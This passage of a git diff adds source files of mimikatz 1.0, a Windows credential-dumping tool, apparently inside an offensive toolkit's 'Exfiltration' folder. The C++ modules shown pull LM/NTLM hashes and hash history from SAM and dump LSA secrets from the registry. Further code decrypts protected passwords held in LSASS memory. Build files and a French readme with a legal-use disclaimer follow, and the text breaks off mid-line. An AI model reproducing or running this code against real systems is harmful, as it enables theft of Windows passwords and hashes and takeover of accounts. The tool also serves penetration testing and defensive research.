maChaine.size() ; i++) + { + const BYTE * monPtr = reinterpret_cast(&maChaine.c_str()[i]); + for(int j = 0 ; j < min(sizeof(source), sizeof(replac)) ; j+=2) + { + if(*monPtr == source[j] && *(monPtr + 1) == source[j+1]) + { + *const_cast(monPtr) = replac[j]; + *const_cast(monPtr + 1) = replac[j + 1]; + break; + } + } + } +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h new file mode 100644 index 00000000..870aa4d5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h @@ -0,0 +1,210 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_text.h" +#include +#include + +bool searchSAMFuncs(); +__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector * mesArguments); + +#define SAM_SERVER_CONNECT 0x00000001 +#define DOMAIN_ALL_ACCESS 0x000F07FF +#define USER_ALL_ACCESS 0x000F07FF + +#define USER_ACCOUNT_DISABLED 0x00000001 +#define USER_PASSWORD_NOT_REQUIRED 0x00000004 +#define USER_NORMAL_ACCOUNT 0x00000010 +#define USER_WORKSTATION_TRUST_ACCOUNT 0x00000080 +#define USER_SERVER_TRUST_ACCOUNT 0x00000100 +#define USER_DONT_EXPIRE_PASSWORD 0x00000200 +#define USER_ACCOUNT_AUTO_LOCKED 0x00000400 +#define USER_SMARTCARD_REQUIRED 0x00001000 +#define USER_TRUSTED_FOR_DELEGATION 0x00002000 +#define USER_PASSWORD_EXPIRED 0x00020000 + +typedef struct _WUserAllInformation +{ + unsigned long UserId; + wstring UserName; + wstring DomaineName; + wstring FullName; + bool isActif; + bool isLocked; + wstring TypeCompte; + wstring UserComment; + wstring AdminComment; + wstring AccountExpires; + wstring AccountExpires_strict; + wstring WorkStations; + + wstring HomeDirectory; + wstring HomeDirectoryDrive; + wstring ProfilePath; + wstring ScriptPath; + + unsigned short LogonCount; + unsigned short BadPasswordCount; + wstring LastLogon; + wstring LastLogon_strict; + wstring LastLogoff; + wstring LastLogoff_strict; + + wstring PasswordLastSet; + wstring PasswordLastSet_strict; + bool isPasswordNotExpire; + bool isPasswordNotRequired; + bool isPasswordExpired; + wstring PasswordCanChange; + wstring PasswordCanChange_strict; + wstring PasswordMustChange; + wstring PasswordMustChange_strict; + + bool LmPasswordPresent; + wstring LmOwfPassword; + bool NtPasswordPresent; + wstring NtOwfPassword; +} WUserAllInformation, *PUserAllInformation; + +typedef struct _WHashHistory +{ + DWORD unkVersion; + unsigned short currentLMsize; + unsigned short unkCurrentLMsize; + DWORD unkCurLM; + BYTE EncLMhash[16]; + + unsigned short currentNTLMsize; + unsigned short unkCurrentNTLMsize; + DWORD unkCurNTLM; + BYTE EncNTLMhash[16]; + + unsigned short histLMsize; + unsigned short unkhistLMsize; + DWORD unkHistLM; + + unsigned short histNTLMsize; + unsigned short unkhistNTLMsize; + DWORD unkHistNTLM; + BYTE hashs[24][16]; +} WHashHistory, *PWHashHistory; + +DECLARE_HANDLE(HUSER); +DECLARE_HANDLE(HSAM); +DECLARE_HANDLE(HDOMAIN); + +typedef struct _SAMPR_RID_ENUMERATION +{ + unsigned long RelativeId; + LSA_UNICODE_STRING Name; +} SAMPR_RID_ENUMERATION, *PSAMPR_RID_ENUMERATION; + +typedef struct _SAMPR_ENUMERATION_BUFFER +{ + unsigned long EntriesRead; + [size_is(EntriesRead)] PSAMPR_RID_ENUMERATION Buffer; +} SAMPR_ENUMERATION_BUFFER, *PSAMPR_ENUMERATION_BUFFER; + +typedef enum _USER_INFORMATION_CLASS +{ + UserInternal1Information = 18, + UserAllInformation = 21, +} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS; + +typedef struct _ENCRYPTED_LM_OWF_PASSWORD +{ + BYTE data[16]; +} ENCRYPTED_LM_OWF_PASSWORD, *PENCRYPTED_LM_OWF_PASSWORD, ENCRYPTED_NT_OWF_PASSWORD, *PENCRYPTED_NT_OWF_PASSWORD; + +typedef struct _SAMPR_USER_INTERNAL1_INFORMATION +{ + ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword; + ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword; + unsigned char NtPasswordPresent; + unsigned char LmPasswordPresent; + unsigned char PasswordExpired; +} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION; + +typedef struct _OLD_LARGE_INTEGER { + unsigned long LowPart; + long HighPart; +} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; + +typedef struct _SAMPR_SR_SECURITY_DESCRIPTOR { + [range(0, 256 * 1024)] unsigned long Length; + [size_is(Length)] unsigned char* SecurityDescriptor; +} SAMPR_SR_SECURITY_DESCRIPTOR, *PSAMPR_SR_SECURITY_DESCRIPTOR; + +typedef struct _SAMPR_LOGON_HOURS { + unsigned short UnitsPerWeek; + [size_is(1260), length_is((UnitsPerWeek+7)/8)] + unsigned char* LogonHours; +} SAMPR_LOGON_HOURS, *PSAMPR_LOGON_HOURS; + +typedef struct _SAMPR_USER_ALL_INFORMATION +{ + OLD_LARGE_INTEGER LastLogon; + OLD_LARGE_INTEGER LastLogoff; + OLD_LARGE_INTEGER PasswordLastSet; + OLD_LARGE_INTEGER AccountExpires; + OLD_LARGE_INTEGER PasswordCanChange; + OLD_LARGE_INTEGER PasswordMustChange; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING FullName; + LSA_UNICODE_STRING HomeDirectory; + LSA_UNICODE_STRING HomeDirectoryDrive; + LSA_UNICODE_STRING ScriptPath; + LSA_UNICODE_STRING ProfilePath; + LSA_UNICODE_STRING AdminComment; + LSA_UNICODE_STRING WorkStations; + LSA_UNICODE_STRING UserComment; + LSA_UNICODE_STRING Parameters; + LSA_UNICODE_STRING LmOwfPassword; + LSA_UNICODE_STRING NtOwfPassword; + LSA_UNICODE_STRING PrivateData; + SAMPR_SR_SECURITY_DESCRIPTOR SecurityDescriptor; + unsigned long UserId; + unsigned long PrimaryGroupId; + unsigned long UserAccountControl; + unsigned long WhichFields; + SAMPR_LOGON_HOURS LogonHours; + unsigned short BadPasswordCount; + unsigned short LogonCount; + unsigned short CountryCode; + unsigned short CodePage; + unsigned char LmPasswordPresent; + unsigned char NtPasswordPresent; + unsigned char PasswordExpired; + unsigned char PrivateDataSensitive; +} SAMPR_USER_ALL_INFORMATION, *PSAMPR_USER_ALL_INFORMATION; + +typedef [switch_is(USER_INFORMATION_CLASS)] union _SAMPR_USER_INFO_BUFFER /* http://msdn.microsoft.com/en-us/library/cc211885.aspx */ +{ + [case(UserInternal1Information)] + SAMPR_USER_INTERNAL1_INFORMATION Internal1; + [case(UserAllInformation)] + SAMPR_USER_ALL_INFORMATION All; +} SAMPR_USER_INFO_BUFFER, *PSAMPR_USER_INFO_BUFFER; + +WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr); +bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV = false); +bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV = false); +wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict = false); +wstring protectMe(wstring &maChaine); +void correctMe(wstring &maChaine); + +typedef NTSTATUS (WINAPI * PSAM_I_CONNECT) (DWORD, HSAM *, DWORD, DWORD); +typedef NTSTATUS (WINAPI * PSAM_R_OPEN_DOMAIN) (HSAM, DWORD dwAccess, PSID, HDOMAIN*); +typedef NTSTATUS (WINAPI * PSAM_R_OPEN_USER) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*); +typedef NTSTATUS (WINAPI * PSAM_R_ENUMERATE_USERS_IN_DOMAIN) (HDOMAIN, DWORD*, DWORD, PSAMPR_ENUMERATION_BUFFER *, DWORD, PVOID); +typedef NTSTATUS (WINAPI * PSAM_R_QUERY_INFORMATION_USER) (HUSER, DWORD, PSAMPR_USER_INFO_BUFFER *); +typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_USER_INFO_BUFFER) (PVOID, DWORD); +typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER) (PSAMPR_ENUMERATION_BUFFER); +typedef NTSTATUS (WINAPI * PSAM_R_CLOSE_HANDLE) (PHANDLE); +typedef NTSTATUS (WINAPI * PSAM_I_GET_PRIVATE_DATA) (HUSER, DWORD *, DWORD *, DWORD *, PWHashHistory *); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp new file mode 100644 index 00000000..06d86649 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp @@ -0,0 +1,99 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "secrets.h" + +PLSA_I_OPEN_POLICY_TRUSTED LsaIOpenPolicyTrusted = NULL; +PLSA_R_OPEN_SECRET LsarOpenSecret = NULL; +PLSA_R_QUERY_SECRET LsarQuerySecret = NULL; +PLSA_R_CLOSE LsarClose = NULL; + +bool searchSECFuncs() +{ + if(!(LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose)) + { + if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) + { + LsaIOpenPolicyTrusted = reinterpret_cast(GetProcAddress(hLsasrv, "LsaIOpenPolicyTrusted")); + LsarOpenSecret = reinterpret_cast(GetProcAddress(hLsasrv, "LsarOpenSecret")); + LsarQuerySecret = reinterpret_cast(GetProcAddress(hLsasrv, "LsarQuerySecret")); + LsarClose = reinterpret_cast(GetProcAddress(hLsasrv, "LsarClose")); + } + return (LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose); + } + else return true; +} + +__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector * mesArguments) +{ + wostringstream monStream; + monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchSECFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@LsaIOpenPolicyTrusted = " << LsaIOpenPolicyTrusted << endl << + L"@LsarOpenSecret = " << LsarOpenSecret << endl << + L"@LsarQuerySecret = " << LsarQuerySecret << endl << + L"@LsarClose = " << LsarClose << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector * mesArguments) +{ + if(searchSECFuncs()) + { + bool sendOk = true; + wstring message; + LSA_HANDLE hPolicy; + + if(NT_SUCCESS(LsaIOpenPolicyTrusted(&hPolicy))) + { + HKEY hKeysSecrets; + if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SECURITY\\Policy\\Secrets", 0, KEY_READ, &hKeysSecrets) == ERROR_SUCCESS) + { + DWORD nbKey, maxKeySize; + if(RegQueryInfoKey(hKeysSecrets, NULL, NULL, NULL, &nbKey, &maxKeySize, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + for(DWORD i = 0; (i < nbKey) && sendOk; i++) + { + DWORD buffsize = (maxKeySize+1) * sizeof(wchar_t); + LSA_UNICODE_STRING monNomSecret = {0, 0, new wchar_t[buffsize]}; + + if(RegEnumKeyEx(hKeysSecrets, i, monNomSecret.Buffer, &buffsize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) + { + monNomSecret.Length = monNomSecret.MaximumLength = static_cast(buffsize * sizeof(wchar_t)); + message.assign(L"\nSecret : "); message.append(mod_text::stringOfSTRING(monNomSecret)); message.push_back(L'\n'); + + LSA_HANDLE hSecret; + if(NT_SUCCESS(LsarOpenSecret(hPolicy, &monNomSecret, SECRET_QUERY_VALUE, &hSecret))) + { + LSA_SECRET * monSecret = NULL; + if(NT_SUCCESS(LsarQuerySecret(hSecret, &monSecret, NULL, NULL, NULL))) + { + message.append(L"Credential : "); message.append(mod_text::stringOrHex(reinterpret_cast(monSecret->Buffer), monSecret->Length)); message.push_back(L'\n'); + LsaFreeMemory(monSecret); + } + else message.append(L"Erreur : Impossible de rcuprer le secret\n"); + LsarClose(&hSecret); + } + else message.append(L"Erreur : Impossible d\'ouvrir le secret\n"); + } + delete[] monNomSecret.Buffer; + sendOk = sendTo(monPipe, message); + } + message.clear(); + } else message.assign(L"Erreur : Impossible d\'obtenir des information sur le registre secret\n"); + RegCloseKey(hKeysSecrets); + } + else message.assign(L"Erreur : Impossible d\'ouvrir la cl Secrets\n"); + LsarClose(&hPolicy); + } + else message.assign(L"Erreur : Impossible d\'ouvrir la politique\n"); + + if(!message.empty()) + sendOk = sendTo(monPipe, message); + + return sendOk; + } + else return getSECFunctions(monPipe, mesArguments); +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h new file mode 100644 index 00000000..cb74837d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "mod_text.h" +#include + +bool searchSECFuncs(); +__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector * mesArguments); +__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector * mesArguments); + +#define SECRET_SET_VALUE 0x00000001 +#define SECRET_QUERY_VALUE 0x00000002 + +typedef struct _LSA_SECRET +{ + DWORD Length; + DWORD MaximumLength; + wchar_t * Buffer; +} LSA_SECRET, *PLSA_SECRET; + +typedef NTSTATUS (WINAPI * PLSA_I_OPEN_POLICY_TRUSTED) (LSA_HANDLE * pHPolicy); +typedef NTSTATUS (WINAPI * PLSA_R_OPEN_SECRET) (LSA_HANDLE hPolicy, LSA_UNICODE_STRING *, DWORD dwAccess, LSA_HANDLE * hSecret); +typedef NTSTATUS (WINAPI * PLSA_R_QUERY_SECRET) (LSA_HANDLE hSecret, PLSA_SECRET * ppSecret, PVOID pCurrentValueSetTime, PLSA_UNICODE_STRING * ppOldSecret, PVOID pOldValueSetTime); +typedef NTSTATUS (WINAPI * PLSA_R_CLOSE) (LSA_HANDLE * pHandle); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp new file mode 100644 index 00000000..1d07596a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp @@ -0,0 +1,86 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "sekurlsa.h" +PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable = NULL; + +__kextdll bool __cdecl getDescription(wstring * maDescription) +{ + maDescription->assign(L"SekurLSA : librairie de manipulation des donnes de scurits dans LSASS\n"); + return mod_system::getVersion(&mod_system::GLOB_Version); +} + +bool searchLSAFuncs() +{ + if(!SeckPkgFunctionTable) + { + if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) + { + struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsasrv, "LsaIRegisterNotification"), GetProcAddress(hLsasrv, "LsaICancelNotification")}; + if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) + mod_memory::genericPatternSearch(reinterpret_cast(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); + } + } + return (SeckPkgFunctionTable != NULL); +} + +wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass) +{ + wstring password; + if(ptrPass->Buffer && (ptrPass->Length > 0)) + { + BYTE * monPass = new BYTE[ptrPass->MaximumLength]; + RtlCopyMemory(monPass, ptrPass->Buffer, ptrPass->MaximumLength); + SeckPkgFunctionTable->LsaUnprotectMemory(monPass, ptrPass->MaximumLength); + password.assign(mod_text::stringOrHex(reinterpret_cast(monPass), ptrPass->Length)); + delete[] monPass; + } + return password; +} + +bool getLogonData(mod_pipe * monPipe, vector * mesArguments, vector> * mesProviders) +{ + bool sendOk = true; + PLUID sessions; + ULONG count; + + if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) + { + for (ULONG i = 0; i < count && sendOk; i++) + { + PSECURITY_LOGON_SESSION_DATA sessionData = NULL; + if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) + { + if(sessionData->LogonType != Network) + { + wostringstream maPremiereReponse; + maPremiereReponse << endl << + L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << + L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << + L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << + L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; + + sendOk = sendTo(monPipe, maPremiereReponse.str()); + + for(vector>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) + { + wostringstream maSecondeReponse; + maSecondeReponse << L'\t' << monProvider->second << L" : \t"; + sendOk = sendTo(monPipe, maSecondeReponse.str()); + monProvider->first(&sessions[i], monPipe, mesArguments->empty()); + sendOk = sendTo(monPipe, L"\n"); + } + } + LsaFreeReturnBuffer(sessionData); + } + else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'obtenir les donnes de session\n"); + } + LsaFreeReturnBuffer(sessions); + } + else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'numerer les sessions courantes\n"); + + return sendOk; +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h new file mode 100644 index 00000000..c36e1733 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" +#include "secpkg.h" +#include "mod_memory.h" +#include "mod_system.h" +#include "mod_text.h" +#include "mod_process.h" + +extern PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; + +bool searchLSAFuncs(); +__kextdll bool __cdecl getDescription(wstring * maDescription); + +typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); +bool getLogonData(mod_pipe * monPipe, vector * mesArguments, vector> * mesProviders); + +wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc new file mode 100644 index 0000000000000000000000000000000000000000..2243435e079a68d8ddee4f763bfdb89248bf1817 GIT binary patch literal 1878 zcmbu9Yi|-!5Qg8+CjN&be9^=hsQm-wDsc;>3#gw+r4%=R-{izVxE_(Ac^>Xu4gKG z`;qRo_IOSOU4!~v3s9GOqc2E;<{D4I=c(ROkGI78VkiC^y(HF#K5pWUiLnoZDjbGz zh`3&1^^40rYS{zhN=+;pyf3gYj}c#Oq()JFzUGO__?-O0`zbsPphG)`a<=lD5>#kPnse)b8=P&Sf zcyqoA9hh6}1tM6{k=E-Ia+uJsV=SidnQi(rSee}+wCpq@rzxs2DQV;xedZZDJ=IO$ z|3*x;24p&-R@PqyJk0b}b7pC(A9Thwe`Dm;?H+5<{3AM=XiI?~twZ6ZxEYP0#5AXEx_EVp^UQ(*UmvY!fiD zSjy~@()K=vtJQhsF{i|PpUdVx%VV%3a3>zsDmJH9)@2j6-fEl0{E1^*RsB9XgHu^& zyFR|^JP1u0kE}k^8yK~h8&1Pyz iA6V}`>@nLsVV-TutSYvv9`2MZ+U%=H2Ux!+?2^9>3i93n literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj new file mode 100644 index 00000000..dbea2a6a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj @@ -0,0 +1,154 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} + Win32Proj + sekurlsa + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies) + NoErrorReport + + + + + 0x040c + + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + false + true + true + psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies) + NoErrorReport + + + + + 0x040c + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters new file mode 100644 index 00000000..936fcde8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters @@ -0,0 +1,122 @@ + + + + + {87c9f520-31d1-4b44-a523-415e0c703bde} + + + {8c6588bf-b3cf-4080-b59e-3ce82a6ccd62} + + + {9e44771d-18f4-407a-8f89-508cf5c366ff} + + + {541a9eff-641d-4a77-9b1f-e72ad6a7c0fa} + + + {ba6b07a5-6d5b-4632-ad6e-56690630eaa7} + + + {1e52fbf9-a352-419f-870b-3c4e265781d8} + + + + + {7fcd7c52-b4e5-4c6c-9dc7-190fbe667193} + + + {c175e3ec-41d0-4474-bbc7-eb1962a7fc70} + + + {b3819528-2e60-46a3-b37a-7c575a4d866a} + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + Modules Communs\Mémoire + + + + Modules Communs\System + + + Security Packages + + + Security Packages + + + Modules Communs\Texte + + + Modules Communs\System + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + Modules Communs\Mémoire + + + + Modules Communs\System + + + Security Packages + + + Security Packages + + + Modules Communs\Texte + + + + Modules Communs\System + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + Modules locaux pour sekurlsa + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/lisezmoi.txt b/Exfiltration/mimikatz-1.0/lisezmoi.txt new file mode 100644 index 00000000..eed6a507 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/lisezmoi.txt @@ -0,0 +1,47 @@ +mimikatz +======== + + +Cette archive ne contient que les binaires pour les architectures x86 (Win32) et x64. Des extraits de diffrents codes source sont disponibles : http://blog.gentilkiwi.com/mimikatz +Cet utilitaire ne peut tre utilis qu' des fins d'tudes, pentests et autres actions lgales en accord avec la licence prcise ci-dessous. + +Plus globalement, merci de respecter la philosophie avec laquelle cet outil a t cr, c'est dire en ne permettant pas son utilisation des fins malveillantes. +Je ne serais en aucun cas responsable de l'utilisation qui serait faite de ces technologies. + +Binaires, codes source, drivs et utilisations sous Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Exception pour la librairie sekurlsa : http://creativecommons.org/licenses/by/3.0/fr/ +_____________________________________________________ +Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com/mimikatz +benjamin@gentilkiwi.com + + +anti-gpo standalone +=================== + +Ces outils ont ts remplac par l'utilisation directe de mimikatz + +* KiwiRegedit + mimikatz nogpo::regedit exit + +* KiwiCmd + mimikatz nogpo::cmd exit + +* KiwiRegedit + mimikatz nogpo::taskmgr exit + + +outils incorpors +================= + +* psexec.exe + PsExec v1.98 - Execute processes remotely + Mark Russinovich (Sysinternals / Microsoft) + +* tee.exe + GNU shellutils 1.9.4 + http://unxutils.sourceforge.net/ + +* winmine.exe + Dmineur de Windows XP + Robert Donner et Curt Johnson (Microsoft) \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz.sln b/Exfiltration/mimikatz-1.0/mimikatz.sln new file mode 100644 index 00000000..aa46f442 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz.sln @@ -0,0 +1,85 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mimikatz", "mimikatz\mimikatz.vcxproj", "{2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kelloworld", "librairies\kelloworld\kelloworld.vcxproj", "{D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "librairies", "librairies", "{B17EB705-1C68-44FD-A82B-860C539219A8}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sekurlsa", "librairies\sekurlsa\sekurlsa.vcxproj", "{3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "klock", "librairies\klock\klock.vcxproj", "{6556249E-1C80-4047-A863-F608C8B8AC55}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kappfree", "kappfree\kappfree.vcxproj", "{E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{7999D050-6332-45F7-A343-C343902B1453}" + ProjectSection(SolutionItems) = preProject + lisezmoi.txt = lisezmoi.txt + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "En-têtes", "En-têtes", "{24371643-CEFE-4590-BB29-6141CB5E25D1}" + ProjectSection(SolutionItems) = preProject + commun\globdefs.h = commun\globdefs.h + commun\secpkg.h = commun\secpkg.h + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Icons", "Icons", "{80532836-DE52-40AD-B373-E4098BF52E1F}" + ProjectSection(SolutionItems) = preProject + commun\icons\cmd_32.ico = commun\icons\cmd_32.ico + commun\icons\cmd_48.ico = commun\icons\cmd_48.ico + commun\icons\cmd_kiwi.ico = commun\icons\cmd_kiwi.ico + commun\icons\mimikatz_bird.ico = commun\icons\mimikatz_bird.ico + commun\icons\mimikatz_fruit.ico = commun\icons\mimikatz_fruit.ico + commun\icons\mimikatz_fruit_16.ico = commun\icons\mimikatz_fruit_16.ico + commun\icons\regedit_32.ico = commun\icons\regedit_32.ico + commun\icons\regedit_48.ico = commun\icons\regedit_48.ico + commun\icons\regedit_kiwi.ico = commun\icons\regedit_kiwi.ico + commun\icons\taskmgr_32.ico = commun\icons\taskmgr_32.ico + commun\icons\taskmgr_48.ico = commun\icons\taskmgr_48.ico + commun\icons\taskmgr_kiwi.ico = commun\icons\taskmgr_kiwi.ico + EndProjectSection +EndProject +Global + GlobalSection(SubversionScc) = preSolution + Svn-Managed = True + Manager = AnkhSVN - Subversion Support for Visual Studio + EndGlobalSection + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.ActiveCfg = 